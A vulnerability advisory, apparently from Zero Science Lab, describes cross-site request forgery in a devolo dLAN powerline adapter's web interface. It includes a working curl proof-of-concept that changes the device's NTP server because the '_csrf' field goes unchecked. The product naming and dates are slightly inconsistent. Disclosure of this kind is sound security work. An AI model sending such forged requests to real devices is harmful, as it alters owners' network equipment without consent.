devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery

devolo dLAN 550 duo+ Starter Kit Cross-Site Request Forgery


Vendor: devolo AG
Product web page: https://www.devolo.com
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission
rates.

Desc: The web application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. The
devolo web application uses predictable URL/form actions in a repeatable way.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.31


Vulnerability discovered by Stefan Petrushevski aka sm
                            @zeroscience


Advisory ID: ZSL-2019-5507
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php


04.10.2017

--

curl -i -s -k  -X 'POST' \
    -H 'Origin: http://DEVOLO-IP' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://DEVOLO-IP/cgi-bin/htmlmgr?_file=%2Fwgl%2Fmain.wgl&_sid=&_style=std&_lang=&_dir=expert&_page=time' \
    --data-binary $'%3Asys%3ANTPClient.EnableNTP=on&%3Asys%3ANTPClient.NTPServer=waddup.com&%3Asys%3ANTPClient.GMTOffset=%2B01%3A00&%3Asys%3ANTPClient.AutoDaylightSaving=on&_file=%2Fwgl%2Fmain.wgl&_style=std&_lang=&_dir=expert&_page=time&_idx=&_sid=&_csrf=' \
    'http://DEVOLO-IP/cgi-bin/htmlmgr'

Even though there is a '_csrf' parameter that is being submited, it is never checked (nor it contains any value)